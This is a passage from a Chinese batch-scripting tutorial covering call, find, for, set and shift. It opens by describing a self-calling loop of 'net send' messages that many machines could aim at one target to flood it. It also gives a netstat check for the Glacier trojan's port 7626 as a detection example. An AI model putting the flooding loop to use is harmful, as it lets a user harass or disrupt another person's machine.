\u8fd9\u4e24\u53e5\u4e00\u7ed3\u5408\uff0c\u6548\u679c\u81ea\u7136\u4e0d\u600e\u4e48\u6837\uff0c\u56e0\u4e3a\u53ea\u6709\u4e00\u53f0\u673a\u5668\u6765\u53d1\u6d88\u606f\uff0c\u8c01\u6015\u8c01\u554a\uff1f\u6211\u7ed9\u4f60\u6765\u4e2a\u793c\u5c1a\u5f80\u6765\uff01\u53ef\u5982\u679c\u6709100\u53f0\u673a\u5668\u540c\u65f6\u6267\u884c\uff0c\u800c\u4e14\u6bcf\u53f0\u673a\u5668\u5f0010\u548c\u7a97\u53e3\u540c\u65f6\u5411\u4e00\u4e2a\u76ee\u6807\u673a\u5668\u53d1\u6d88\u606f\u7684\u8bdd\uff0c\u5475\u5475\u3002\u8fd9\u91cccall a.bat\u7684\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u81ea\u8eab\uff0c\u6267\u884c\u5b8c\u524d\u4e00\u53e5net send\u547d\u4ee4\u540e\u518d\u8c03\u7528\u81ea\u8eab\uff0c\u8fbe\u5230\u4e86\u5faa\u73af\u6267\u884c\u7684\u76ee\u7684\u3002

\u7ed9\u51fa\u4e00\u4e2a\u5f88\u6709\u610f\u601d\u7684\u811a\u672c\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5b9e\u9a8c\u4e00\u4e0b\u3002\u4f8b\u5341\uff08\u9ed8\u8ba4\u811a\u672c\u6587\u4ef6\u540d\u4e3aa.bat\uff09\uff1a

call a.bat

\u4e00\u5b9a\u8981\u5728DOS\u7a97\u53e3\u4e0b\u6267\u884c\uff0c\u5426\u5219\u53ea\u4f1a\u770b\u5230\u4e00\u4e2a\u7a97\u53e3\u4e00\u95ea\u800c\u8fc7\uff0c\u770b\u4e0d\u5230\u6700\u540e\u7ed3\u679c\u3002\u7b49\u6267\u884c\u5b8c\u540e\uff0c\u5f53\u811a\u672c\u88ab\u6267\u884c\u4e861260\u6b21\uff0c\u522b\u5fd8\u4e86\u60f3\u4e00\u4e0b\u5230\u5e95\u662f\u4e3a\u4ec0\u4e48\uff01\u7231\u60c5\u6709\u65f6\u5019\u8ddf\u8fd9\u4e2a\u811a\u672c\u4e00\u6837\uff0c\u4e00\u65e6\u9677\u5165\u6b7b\u5faa\u73af\uff0c\u6700\u540e\u7684\u7ed3\u679c\u90fd\u662f\u610f\u60f3\u4e0d\u5230\u7684\u3002\u53ea\u662f\u7231\u60c5\uff0c\u7edd\u5bf9\u4e0d\u4f1a\u7b49\u5230\u88ab\u6beb\u65e0\u7406\u7531\u7684\u5faa\u73af\u8fd9\u4e48\u591a\u6b21\uff0c\u4e5f\u8bb8\u5728\u7b2c\u4e09\u6b21\u65f6\u5c31\u51fa\u73b0\u4e86love is aborted\u7684\u63d0\u793a\u3002

9\u3001find

\u8fd9\u662f\u4e00\u4e2a\u641c\u7d22\u547d\u4ee4\uff0c\u7528\u6765\u5728\u6587\u4ef6\u4e2d\u641c\u7d22\u7279\u5b9a\u5b57\u7b26\u4e32\uff0c\u901a\u5e38\u4e5f\u4f5c\u4e3a\u6761\u4ef6\u5224\u65ad\u7684\u94fa\u57ab\u7a0b\u5e8f\uff08\u6211\u600e\u4e48\u7a81\u7136\u60f3\u8d77\u4e86\u8fd9\u56db\u4e2a\u5b57\uff1f\uff09\u3002
\u8fd9\u4e2a\u547d\u4ee4\u5355\u72ec\u4f7f\u7528\u7684\u60c5\u51b5\u5728\u6279\u5904\u7406\u4e2d\u662f\u6bd4\u8f83\u5c11\u89c1\u7684\uff0c\u56e0\u4e3a\u6ca1\u4ec0\u4e48\u5b9e\u9645\u610f\u4e49\u3002\u8fd8\u662f\u501f\u4f8b\u4e09\u6765\u8bf4\u660e\uff1a

@echo off
netstat -a -n > a.txt
type a.txt | find \"7626\" && echo \"Congratulations! You have infected GLACIER!\"
del a.txt
pause & exit

\u5148\u7528netstat\u547d\u4ee4\u68c0\u67e5\u662f\u5426\u6709\u51b0\u6cb3\u9ed8\u8ba4\u7684\u7aef\u53e37626\u5728\u6d3b\u52a8\uff0c\u5e76\u628a\u7ed3\u679c\u4fdd\u5b58\u5230a.txt\u4e2d\u3002\u7136\u540e\u4f7f\u7528type\u547d\u4ee4\u5217\u51faa.txt\u4e2d\u7684\u5185\u5bb9\uff0c\u518d\u5728\u5217\u51fa\u7684\u5185\u5bb9\u4e2d\u641c\u7d22\u5b57\u7b26\u4e32\u201c7626\u201d \uff0c\u53d1\u73b0\u6709\u7684\u8bdd\u5219\u63d0\u793a\u4e2d\u4e86\u51b0\u6cb3\uff0c\u5426\u5219\u9000\u51fa\u3002\u770b\uff0cfind\u547d\u4ee4\u5176\u5b9e\u5c31\u8fd9\u4e48\u7b80\u5355\uff0c\u4f46\u6709\u4e00\u70b9\u5fc5\u987b\u8981\u6ce8\u610f\u5230\uff1a\u5982\u679c\u4e0d\u4f7f\u7528type\u547d\u4ee4\u5217\u51faa.txt\u4e2d\u7684\u5185\u5bb9\uff0c\u800c\u662f\u76f4\u63a5\u4f7f\u7528find\u547d\u4ee4\u5728a.txt\u4e2d\u627e\u201c7626\u201d\uff08find a.txt \"7626\" && echo \"Congratulations! You have infected GLACIER!\"\uff09\uff0c\u5c31\u5fc5\u987b\u5f97\u7ed9\u51fa\u8fd9\u4e2aa.txt\u7684\u7edd\u5bf9\u8def\u5f84\uff08\u6211\u8bd5\u8fc7\u4e86\uff0cfind\u5e76\u6ca1\u6709\u9ed8\u8ba4\u8def\u5f84\u5c31\u662f\u5f53\u524d\u8def\u5f84\u7684\u529f\u80fd\uff0c\u5fc5\u987b\u624b\u52a8\u6307\u5b9a\u3002\u4e5f\u8bb8\u662f\u6211\u9519\u4e86\uff0c\u6b22\u8fce\u6307\u6b63\uff09\u3002\u56e0\u4e3a\u5728find\u547d\u4ee4\u7684\u5e2e\u52a9\u91cc\u6709\u8fd9\u4e48\u4e00\u53e5\u8bdd\uff1a\u5982\u679c\u6ca1\u6709\u6307\u5b9a\u8def\u5f84\uff0cfind\u5c06\u641c\u7d22\u952e\u5165\u7684\u6216\u8005\u7531\u53e6\u4e00\u4e2a\u547d\u4ee4\u4ea7\u751f\u7684\u6587\u5b57\u3002\u8fd9\u91cc\u7684\u201c\u53e6\u4e00\u4e2a\u547d\u4ee4\u201d\u81ea\u7136\u5c31\u6307\u7684type\u547d\u4ee4\u4e86\u3002

\u81f3\u4e8efind\u547d\u4ee4\u7684\u5176\u4ed6\u51e0\u4e2a\u53c2\u6570\u5982v\u3001n\u3001i\u7b49\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u81ea\u5df1\u53bb\u7814\u7a76\u5427\uff0c\u8fd9\u5df2\u7ecf\u5c5e\u4e8eDOS\u5b66\u4e60\u7684\u5185\u5bb9\u4e86\uff0c\u8fd9\u91cc\u5c31\u4e0d\u505a\u4ecb\u7ecd\u3002\u5173\u4e8efind\u547d\u4ee4\u548c\u5176\u4ed6\u547d\u4ee4\u7684\u4e00\u4e9b\u66f4\u7cbe\u5999\u7684\u7528\u6cd5\uff08\u6709\u4e9b\u7b80\u76f4\u4ee4\u4eba\u53eb\u7edd\uff09\uff0c\u540e\u7eed\u7684\u6559\u7a0b\u4e2d\u5c06\u4ecb\u7ecd\uff0c\u5e0c\u671b\u5173\u6ce8\u3002

10\u3001for\u3001set\u3001shift

\u4e3a\u4ec0\u4e48\u628a\u8fd9\u4e09\u4e2a\u547d\u4ee4\u653e\u5230\u4e00\u8d77\u6765\u8bb2\uff1f\u539f\u56e0\u9664\u4e86\u6211\u8bf4\u660e\u5916\uff0c\u6050\u6015\u8c01\u4e5f\u60f3\u4e0d\u5230\uff01\u5f88\u7b80\u5355\u7684\u4e00\u53e5\u8bdd\uff1a\u5176\u5b9e\u6211\u4e5f\u4e0d\u592a\u61c2\uff01\u662f\u7684\uff0c\u5bf9\u4e8e\u8fd9\u4e24\u4e2a\u547d\u4ee4\uff0c\u6211\u662f\u4ece\u7814\u7a76Bat.Worm.Muma\u75c5\u6bd2\u5f00\u59cb\u5b66\u4e60\u7684\uff0c\u65f6\u95f4\u8fc7\u53bb\u4e86\u4e0d\u5c11\uff0c\u4f46\u8fd8\u662f\u6ca1\u5b8c\u5168\u641e\u660e\u767d\uff0c\u6211\u6015\u8bb2\u51fa\u6765\u8fde\u81ea\u5df1\u90fd\u770b\u4e0d\u61c2\uff0c\u6211\u66f4\u6015\u4e0d\u5c0f\u5fc3\u8bb2\u9519\u4e86\u6210\u4e86\u7f6a\u4eba\u3002\u6240\u4ee5\u6211\u7ed9\u51fa\u4e00\u4e2a\u811a\u672c\u53bb\u544a\u8bc9\u4f60\uff0c\u5982\u4f55\u8ba9\u8fd9\u4e24\u4e2a\u547d\u4ee4\u7ed9\u81ea\u5df1\u7559\u4e00\u4e2a\u521d\u6b65\u7684\u5370\u8c61\uff0c\u5176\u5b9e\u4e5f\u5c31\u662f\u8fd9\u4e24\u4e2a\u547d\u4ee4\u7684\u5165\u95e8\uff0c\u800c\u5e76\u4e0d\u662f\u8bf4\u5982\u4f55\u9886\u4f1a\u8fd9\u4e24\u4e2a\u547d\u4ee4\u3002\u56e0\u4e3a\u8981\u9886\u4f1a\u5982\u6b64\u7cbe\u5999\u7684\u4e24\u4e2a\u547d\u4ee4\uff08\u7279\u522b\u662ffor\uff09\u8c08\u4f55\u5bb9\u6613\uff01\u4e5f\u8bb8\u4f60\u4f1a\u8868\u626c\u6211\u8bf4\u6211\u8bda\u5b9e\u3001\u4e0d\u61c2\u5c31\u4e0d\u61c2\uff1b\u4e5f\u8bb8\u4f60\u4f1a\u9a82\u6211\uff0c\u8ba9\u6211\u65e2\u7136\u4e0d\u61c2\u5c31\u8d76\u7d27\u6eda\u86cb\uff0c\u4e0d\u8981\u5728\u8fd9\u91cc\u4e22\u4eba\u663e\u773c\uff1b\u4e5f\u8bb8\u4f60\u8fd8\u4f1a\u8bf4\u4e00\u4e9b\u522b\u7684\u8fd9\u6837\u90a3\u6837\u597d\u542c\u6216\u4e0d\u597d\u542c\u7684\u8bdd\uff0c\u90fd\u968f\u4fbf\u4f60\u4e86\uff0c\u5373\u4f7f\u6211\u4e0d\u540c\u610f\u4f60\u8bf4\u7684\u8bdd\uff0c\u6211\u4e5f\u4f1a\u8a93\u6b7b\u634d\u536b\u4f60\u8bf4\u8bdd\u7684\u6743\u5229\u3002\u770b\u4f8b\u5341
\u4e00\uff1a
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

@echo off
for \/? > for.txt
set \/? > set.txt
shift \/? >shift.txt
exit
\n<\/div>
\u6267\u884c\u540e\u5728\u5f53\u524d\u8def\u5f84\u4e0b\u5c31\u751f\u6210for.txt\u3001set.txt\u548cshift.txt\u4e09\u4e2a\u6587\u4ef6\uff0c\u91cc\u9762\u5206\u522b\u8bb0\u5f55\u4e86for\u547d\u4ee4\u3001set\u547d\u4ee4\u548cshift\u547d\u4ee4\u7684\u5e2e\u52a9\u4fe1\u606f\u3002\u5730\u7403\u4eba\u90fd\u80fd\u770b\u61c2\uff0c\u6211\u5c31\u4e0d\u591a\u8bf4\u4e86\u3002\u6211\u5728\u7f51\u4e0a\u66fe\u7ecf\u627e\u4e86\u5f88\u957f\u65f6\u95f4\u8fd9\u4e09\u4e2a\u547d\u4ee4\u7684\u6559\u7a0b\uff0c\u4f46\u90fd\u4e0d\u7406\u60f3\uff0c\u57fa\u672c\u90fd\u662f\u7167\u642c\u7684\u5e2e\u52a9\u4fe1\u606f\u3002\u6211\u60f3\u5728\u81ea\u5df1\u5b8c\u5168\u638c\u63e1\u4e86\u8fd9\u4e24\u4e2a\u547d\u4ee4\u540e\uff0c\u4e00\u5b9a\u8981\u5199\u4e00\u7bc7\u7528\u81ea\u5df1\u7684\u6587\u5b57\u603b\u7ed3\u51fa\u6765\u7684for\u3001set\u548cshift\u6559\u7a0b\uff08\u5173\u4e8eshift\u547d\u4ee4\uff0c\u540e\u9762\u4ecb\u7ecd\u6279\u5904\u7406\u7684\u53c2\u6570\u65f6\u8fd8\u5c06\u6d89\u53ca\u5230\uff09\uff0c\u4e00\u5b9a\u4f1a\u7684\uff0c\u8fd9\u662f\u6211\u7684\u5fc3\u613f\u4e4b\u4e00\uff01\u9700\u8981\u6ce8\u610f\u7684\u4e00\u70b9\u662f\uff0c\u8fd9\u4e09\u4e2a\u547d\u4ee4\u7684\u5e2e\u52a9\u91cc \uff0c\u4ecb\u7ecd\u7684\u90fd\u6bd4\u8f83\u6b7b\u677f\uff0c\u867d\u7136\u4e5f\u4e3e\u4e86\u4e00\u4e9b\u4f8b\u5b50\uff0c\u4f46\u8fd9\u662f\u8fdc\u8fdc\u4e0d\u591f\u7684\u3002\u8981\u638c\u63e1\u8fd9\u4e24\u4e2a\u547d\u4ee4\uff0c\u6700\u9700\u8981\u7684\u5c31\u662f\u8010\u5fc3\uff01\u6ca1\u5199\u9519\uff0c\u5c31\u662f\u8010\u5fc3\u3002\u5149\u662f\u8ba4\u771f\u770b\u5b8c\u5b83\u4eec\u7684\u5e2e\u52a9\u6587\u5b57\u5c31\u5df2\u7ecf\u9700\u8981\u8db3\u591f\u7684\u8010\u5fc3\u4e86\uff0c\u8981\u8fdb\u4e00\u6b65\u7ec3\u4e60\u9886\u4f1a\u8fd9\u4e24\u4e2a\u547d\u4ee4\uff0c\u96be\u9053\u4e0d\u9700\u8981\u66f4\u5927\u7684\u8010\u5fc3\uff1f\u5b9e\u6218\u7ec3\u4e60\u7684\u673a\u4f1a\u6211\u4f1a\u7559\u7ed9\u4f60\u7684\uff0c\u5173\u952e\u8fd8\u662f\u90a3\u53e5\u8bdd\uff0c\u770b\u4f60\u6709\u6ca1\u6709\u8010\u5fc3\u53bb\u7814\u7a76\u4e86\u3002\u770b\u770b\u4f8b\u5341